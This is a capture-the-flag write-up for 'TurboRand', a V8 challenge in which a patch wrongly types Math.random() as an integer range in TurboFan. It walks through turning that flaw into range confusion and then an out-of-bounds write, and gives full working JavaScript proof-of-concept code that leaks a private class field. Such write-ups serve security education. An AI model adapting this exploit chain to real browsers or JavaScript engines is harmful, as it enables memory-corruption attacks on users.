TurboRand: V8 Type Confusion Private Property Leak

Introduction

TurboRand is a v8 exploitation during the TyphoonCTF 2023, this challenge (a.k.a TruboFan is no Fun) centred around a TurboFan (V8’s optimising compiler) type confusion bug.

For the challenge we provided contenders with multiple files:

  • Dockerfile: the same Dockerfile running on the CTF server, used to create the challenge environment.
  • patch.patch: the vulnerable patch.
  • d8 (and snapshot_blob.bin): pre-built d8 (V8 frontend) containing the vulnerable patch, for convenience.
  • run: the bash script executed on connection.

Looking Around

Let’s inspect run (bash script):

#!/bin/bash

FILENAME=/tmp/$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo).js

cat <<EOF > $FILENAME
class Vault {
    #flag = ""
    setFlag(flag) {
        this.#flag = flag;
    }
}

const vault = new Vault();
vault.setFlag("$(cat flag.txt)");

EOF

echo '--=[ T U R B O R A N D ]=--'
echo ''
echo '> Welcome!'
echo '> Enter your JavaScript and terminate it with a "EOF" line.'

while read line
do
if [[ "$line" == "EOF" ]]; then
    break
fi
echo "$line" >> $FILENAME
done

./d8 $FILENAME
rm $FILENAME

The script writes user-controlled JavaScript to a temporary file, and executes it with the patched d8. The JavaScript is prefixed with the definition of a vault object that holds a private flag property. With only a single setFlag method, the flag can only be written to, but not read.

patch.patch contains the following changes:

diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index a9bc374552a..7fefb8ba1ee 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1522,7 +1522,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
   }
   switch (function.shared().builtin_id()) {
     case Builtin::kMathRandom:
-      return Type::PlainNumber();
+      return Type::Range(0.0, 1.0, t->zone());
     case Builtin::kMathFloor:
     case Builtin::kMathCeil:
     case Builtin::kMathRound:

Additionally, patch.patch removes access to d8-specific builtins (extended API and operating system access) to avoid unintended solutions, and reverts CheckBounds hardening.

Setting up the challenge locally

Since we got the Dockerfile and all of the needed files to setup the challenge locally, just as it is setup remotely on the CTF server, we’re going to setup the challenge locally to test our theories.

First we’ll build the Dockerfile to create the CTF image

$ docker build -t turborand .
Sending build context to Docker daemon  40.49MB
Step 1/9 : FROM pwn.red/jail
latest: Pulling from jail
69183ce0eb9b: Pull complete 
e2fa6b9795a6: Pull complete 
3712cc6863e2: Pull complete 
63d0f7951762: Pull complete 
d24073ab1d7b: Pull complete 
d38814a48431: Pull complete 
Digest: sha256:cacd8a66d681647ab1b6740b979f55e5788c135d6272f8c8ee5d62e8cfbc167c
Status: Downloaded newer image for pwn.red/jail:latest
 ---> a92a5edc106c
Step 2/9 : ENV JAIL_TMP_SIZE=10M
 ---> Running in 84753972b3cb
Removing intermediate container 84753972b3cb
 ---> c62db640c7c8
Step 3/9 : ENV JAIL_MEM=20M
 ---> Running in f30a7054a6b9
Removing intermediate container f30a7054a6b9
 ---> ae9a519d2e58
Step 4/9 : COPY --from=debian:10.0 / /srv/
10.0: Pulling from library/debian
4ae16bd47783: Pull complete 
Digest: sha256:2f04d3d33b6027bb74ecc81397abe780649ec89f1a2af18d7022737d0482cefe
Status: Downloaded newer image for debian:10.0
 ---> 003da1ec29cf
Step 5/9 : RUN mkdir /srv/app/
 ---> Running in b0e2121e55fc
Removing intermediate container b0e2121e55fc
 ---> 18e184378461
Step 6/9 : COPY snapshot_blob.bin /srv/app/
 ---> 1da8bfeb2b14
Step 7/9 : COPY d8 /srv/app/
 ---> a26a72466176
Step 8/9 : COPY flag.txt /srv/app/
 ---> 84441913aa7f
Step 9/9 : COPY run /srv/app/
 ---> 495612e836ed
Successfully built 495612e836ed
Successfully tagged turborand:latest

Next up, we’ll try to run the docker image we’ve just built and see what we get. Note that we are going to run the docker with a psuedo-TTY (-t) and detached/backgrounded (-d), this is simply to avoid restarting the docker and having it always up and ready for our tests.

$ docker run -t -d --name turobrand turborand:latest

Let’s verify that the docker is running properly

$ docker ps
CONTAINER ID   IMAGE              COMMAND       CREATED         STATUS                     PORTS                      NAMES
9a51d4ae0f1e   turborand:latest   "/jail/run"   4 seconds ago   Exited (1) 3 seconds ago                              turborand
$ docker logs turborand
error: delegate cgroup: mount cgroup2 to /jail/cgroup/unified: operation not permitted

Ah, pwn.red/jail requires certain privileges that are not granted by default, this should be easily sorted out by adding the --privileged option

$ docker run -t -d --privileged --name turborand turborand:latest
$ docker logs turborand
Mode: LISTEN_TCP
Jail parameters: hostname:'app', chroot:'', process:'/app/run', bind:[::]:5000, max_conns:0, max_conns_per_ip:0, time_limit:20, personality:0, daemonize:false, clone_newnet:true, clone_newuser:true, clone_newns:true, clone_newpid:true, clone_newipc:true, clone_newuts:true, clone_newcgroup:true, clone_newtime:false, keep_caps:false, disable_no_new_privs:false, max_cpus:0
Mount: '/' flags:MS_RDONLY type:'tmpfs' options:'' dir:true
Mount: '/srv' -> '/' flags:MS_RDONLY|MS_NOSUID|MS_NODEV|MS_BIND|MS_REC|MS_PRIVATE type:'' options:'' dir:true
Mount: '/tmp' flags:MS_NOSUID|MS_NODEV type:'tmpfs' options:'size=10485760' dir:true
Uid map: inside_uid:1000 outside_uid:1000 count:1 newuidmap:false
Gid map: inside_gid:1000 outside_gid:1000 count:1 newgidmap:false
Listening on [::]:5000

And we can see that pwn.red/jail listens on port 5000, so all that’s left to do is expose the port and we’re done with the setup!

$ docker run -t -d --privileged -p 127.0.0.1:5000:5000 --name turborand turborand:latest
$ nc 127.0.0.1 5000
--=[ T U R B O R A N D ]=--

> Welcome!
> Enter your JavaScript and terminate it with an "EOF" line.

CheckBounds hardening

Historically, TurboFan had an optimisation where array access bounds checking could be omitted, in case it was known to be safe. For example, in the following snippet:

function f(i) {
    const arr = [1, 2, 3]
    if (i >= 0 && i < 3) {
        return arr[i];
    }
    ...
}

i is known to be in range, and so access to arr is performed directly, unprotected.

Attackers abused this optimisation (surprise!) to exploit JIT vulnerabilities. Initial primitives were converted to range confusion, where TurboFan believes some variable is in range [0, N) but the actual value exceeds N. Then, array access like

const arr = [1, 2, 3];
return arr[i];

wasn’t bounds-checked although i could be, for example, 5. This technique was used to perform OOB reads and writes, from which the path to RCE is short.

Seeing this, V8 engineers decided to harden bounds checking – to remove the optimisation and always perform bounds checking. Moreover, when TurboFan knows some access must be safe (in bounds) but it turns out not to be during bounds checking, this must be an exploitation attempt or a serious bug, and the process is crashed immediately (by int3).

The Patch

Let’s analyse the changes it introduces:

diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index a9bc374552a..7fefb8ba1ee 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1522,7 +1522,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
   }
   switch (function.shared().builtin_id()) {
     case Builtin::kMathRandom:
-      return Type::PlainNumber();
+      return Type::Range(0.0, 1.0, t->zone());
     case Builtin::kMathFloor:
     case Builtin::kMathCeil:
     case Builtin::kMathRound:

Typer::Visitor::JSCallTyper provides strict typing to builtin JSCall nodes (e.g. builtin function calls). For example, TurboFan knows Date.prototype.getMinutes() must return an integer number between 0 and 59, or NaN in case the date is invalid, and so JSCall nodes to Date.prototype.getMinutes() are typed as Union(Range(0, 59), NaN()). Stricter node typing enables more optimisations, so it’s best to get as accurate as possible.

The patch changes the typing of Math.random() from the original PlainNumber() to Range(0, 1). The issue isn’t immediately clear – Math.random() indeed returns a floating-point, pseudo-random number between 0 and 1. What’s wrong?

The Bug

Looking at the documentation for range types (from src/compiler/types.h) makes the matter clearer:

// RANGE TYPES
//
// A range type represents a continuous integer interval by its minimum and
// maximum value.  Either value may be an infinity, in which case that infinity
// itself is also included in the range.   A range never contains NaN or -0.
//
// If a value v happens to be an integer n, then Constant(v) is considered a
// subtype of Range(n, n) (and therefore also a subtype of any larger range).
// In order to avoid large unions, however, it is usually a good idea to use
// Range rather than Constant. 

Did you spot it? A range type represents an integer interval, but Math.random() returns a floating-point number!

TurboFan doesn’t like floating-point

Integers get range-tracked. For example, multiplying a Range(1, 2)-typed node by 2 yields a Range(2, 4)-typed node, and subtracting 1 from that node yields a Range(1, 3)-typed node. Since TurboFan makes optimizations based on range bounds, Range types must remain accurate!

Alas, TurboFan rarely optimises floating-point operations. Possibly because they aren’t as common. They don’t even have a range, but are simply marked using a generic numeric type like PlainNumber.

The initial “primitive” we are given, therefore, is having a floating-point number typed as a Range.

Exploitation

So, now what? As CheckBounds hardening was reverted, the intended solution probably involves escalating our primitive to OOB array access.

Range confusion

The issue is that although we have a double inside an integer range, range tracking still works. Let’s say Math.random() returns 0.7 and we try to cause a range confusion.

  • Addition / Subtraction
  • $0.7 + 1 = 1.7 \in \text{Range}(0, 1) + 1 = \text{Range}(1, 2)$
  • Multiplication
  • $2 * 0.7 = 1.4 \in 2 * \text{Range}(0, 1) = \text{Range}(0, 2)$
  • Division is tricky so TurboFan doesn’t bother and types division as the generic PlainNumber 🙁

Despite having a floating-point value, we still seem to be “trapped” in the integer range.

We need to find a range typing that is only correct for integers. Try to think of a solution yourself. We want to abuse the assumption that Range-typed nodes are integers to create an incorrectly-ranged node, and are going to do so using arithmetic operations.

Spoilers below!

Consider Modulus. For example:

let rand = Math.random(); // Type: Range(0, 1), Value: 0.7
rand = rand + 1;          // Type: Range(1, 2), Value: 1.7
rand = rand % 2;          // Type: Range(0, 1), Value: 1.7

For TurboFan, Range(1, 2) means 1 or 2, and so Range(1, 2) % 2 must be either 0 or 1, or Range(0, 1). But, since the actual value is 1.7 and 1.7 % 2 === 1.7 (gotta love JavaScript!), we’ve successfully “escaped” the typed range.

Let’s create a simple proof-of-concept to verify:

function f() {
    let rand = Math.random(); // Type: Range(0, 1), Value: [0, 1)
    rand = rand + 1;          // Type: Range(1, 2), Value: [1, 2)
    rand = rand % 2;          // Type: Range(0, 1), Value: [0, 2)
    return rand;
}

// optimization loop
for (let i = 0; i < 100000; i++) {
    f();
}

// print a few results
for (let i = 0; i < 3; i++) {
    console.log(f());
}

// OUTPUT:
//   result: 1
//   result: 1
//   result: 1
//   result: 1
//   result: 1

Hmm. Not what we expected.. Shouldn’t f() return doubles?

Turbolizer is a utility to visualise TurboFan node graphs at various optimisation points. We’ll use it for debugging.

Initially, the graph looks as expected:

(Node 25 is the call to Math.random(), node 30 is the addition, and node 32 is the modulus.)

At some later point (namely, the Simplified Lowering optimization phase), TurboFan understands the best underlying type for the arithmetic operations is 32-bit integers:

The ChangeTaggedToInt32 node converts our precious double to an integer.

To avoid this, we should only perform integer operations that TurboFan represents using floating-point. Large enough numbers ($\ge 2^{32}$), for example, must be represented with floating-point!

Let’s try again:

function f() {
    let rand = Math.random(); // Type: Range(0, 1), Value: [0, 1)
    rand = rand * (2 ** 32);  // Type: Range(0, 2 ** 32), Value: [0, 2 ** 32)
    rand = rand % 2;          // Type: Range(0, 1), Value: [0, 2)
    return rand;
}

...

// OUTPUT:
//   result: 1
//   result: 1
//   result: 1
//   result: 0
//   result: 1

Still integers. Welp. The large multiplication indeed forces a 64-bit floating-point representation, as desired:

But TurboFan performs another optimization and converts the return value to be a 32-bit integer as well. We can disable this optimization by returning an array containing our result instead of returning the result directly:

(Nothing clever, TurboFan simply doesn’t perform this optimisation.)

function f() {
    let rand = Math.random(); // Type: Range(0, 1), Value: [0, 1)
    rand = rand * (2 ** 32);  // Type: Range(0, 2 ** 32), Value: [0, 2 ** 32)
    rand = rand % 2;          // Type: Range(0, 1), Value: [0, 2)
    return [rand];
}

...

// OUTPUT:
//   result: 1.9495658874511719
//   result: 1.7413358688354492
//   result: 1.364476203918457
//   result: 0.11797142028808594
//   result: 1.9465665817260742

Awesome!

Escalation

Let’s escalate this to a type confusion between Range(0, 1) and an arbitrary value.

First of all, if you think about it, we’re only interested in modulus results greater than 1. We can simply filter for odd operands, as even floating-point values modulo 2 will always be in [0, 1):

function f() {
    let rand = Math.random(); // Type: Range(0, 1), Value: [0, 1)
    rand = rand * (2 ** 32);  // Type: Range(0, 2 ** 32), Value: [0, 2 ** 32)

    /*
     * In case the number returned from Math.random() yields an odd number at
     * this point, bail out and retry later.
     */
    if (rand % 2 === 0) return -1;

    rand = rand % 2; // Type: Range(0, 1), Value: [0, 2)
    return [rand];
}

...

// OUTPUT:
//   result: 1.2581844329833984
//   result: 1.9699935913085938
//   result: 1.2264366149902344
//   result: -1
//   result: 1.4565200805664062

At this point, it’s a matter of math trickery to create the desired confusion:

function f() {
    let rand = Math.random(); // Type: Range(0, 1), Value: [0, 1)
    rand = rand * (2 ** 32);  // Type: Range(0, 2 ** 32), Value: [0, 2 ** 32)

    /*
     * In case the number returned from Math.random() yields an odd number at
     * this point, bail out and retry later.
     */
    if (rand % 2 === 0) return -1;

    rand = rand % 2; // Type: Range(0, 1), Value: [0, 2)

    /*
     * Multiply by 2 ** 32 to force floating-point representation. Following it, our
     * floating-point value is finally out-of-bounds, so we can convert it back to an
     * integer.
     */
    rand = Math.round(rand * (2 ** 32));  // Type: Range(0, 2 ** 32), Value: > 2 ** 32

    rand = Math.max(rand, (2 ** 32 - 1)); // Type: Range((2 ** 32) - 1, 2 ** 32), Value: > 2 ** 32
    rand = rand - (2 ** 32 - 1);          // Type: Range(0, 1), Value: > 1
    rand = rand % 10;                     // Type: Range(0, 1), Value: Range(0, 9)

    return [rand];
}

...

// OUTPUT:
//   result: 3
//   result: -1
//   result: 9
//   result: 5
//   result: -1

Looks good!

OOB access

Remember vault? It’s there to avoid having to execute arbitrary shellcode to leak the flag, which is a lot of work. Instead, we can leak the private flag property by creating a type confusion.

We’ll confuse vault (a Vault object) with an array’s elements (a FixedArray). Here’s a simplified illustration of how these look in memory:

Vault
+-------+--------+--------+--------+
|  MAP  |  PROP  |  ELEM  |  FLAG  |
+-------+--------+--------+--------+

FixedArray
+-------+--------+--------+--------+--------+--------+
|  MAP  | LENGTH | ELEM 0 | ELEM 1 |  ....  | ELEM N |
+-------+--------+--------+--------+--------+--------+

If we swap an array’s elements with vault, getting the second element should return the flag! V8 assumes the elements of an object will always remain a FixedArray and does not perform any validations.

An interesting detail is that allocating an array using new Array() allocates the array’s elements (FixedArray) before allocating the array itself. This means that new Array(11, 22, 33), for example, is going to look as follows in memory:

FixedArray                                    JSArray
+-------+--------+--------+--------+--------+ +-------+--------+--------+
|  MAP  |   03   |   11   |   22   |   33   | |  MAP  |  PROP  |  ELEM  |
+-------+--------+--------+--------+--------+ +-------+--------+--------+
         (length)

And so, setting the sixth element corresponds to overwriting the array’s elements FixedArray. Here’s the full proof-of-concept:

function f(idx) {
    let rand = Math.random(); // Type: Range(0, 1), Value: [0, 1)
    rand = rand * (2 ** 32);  // Type: Range(0, 2 ** 32), Value: [0, 2 ** 32)

    /*
     * In case the number returned from Math.random() yields an odd number at
     * this point, bail out and retry later.
     */
    if (rand % 2 === 0) return -1;

    rand = rand % 2; // Type: Range(0, 1), Value: [0, 2)

    rand = Math.round(rand * (2 ** 32));  // Type: Range(0, 2 ** 32), Value: > 2 ** 32
    rand = Math.max(rand, (2 ** 32 - 1)); // Type: Range((2 ** 32) - 1, 2 ** 32), Value: > 2 ** 32
    rand = rand - (2 ** 32 - 1);          // Type: Range(0, 1), Value: > 1
    rand = rand % 10;                     // Type: Range(0, 1), Value: Range(0, 9)

    // Only overwrite the desired index.
    if (rand !== idx) return -1;

    const arr = new Array(11, 22, 33);

    // Overwrite the elements of arr with vault.
    arr[rand] = vault;

    return arr;
}

// optimization loop
for (let i = 0; i < 100000; i++) {
    f(i % 10);
}

let arr;
while (true) {
    arr = f(5);
    // Wait for a successful attempt..
    if (arr !== -1) {
        // Got it! The flag should be in the second element slot.
        console.log(arr[1]);
        break;
    }
}

Let’s try it!

$ nc 127.0.0.1 5000
> Welcome!
> Enter your JavaScript and terminate it with a "EOF" line.
...
EOF
SSD{TuRb0R4nD}

?

Get in touch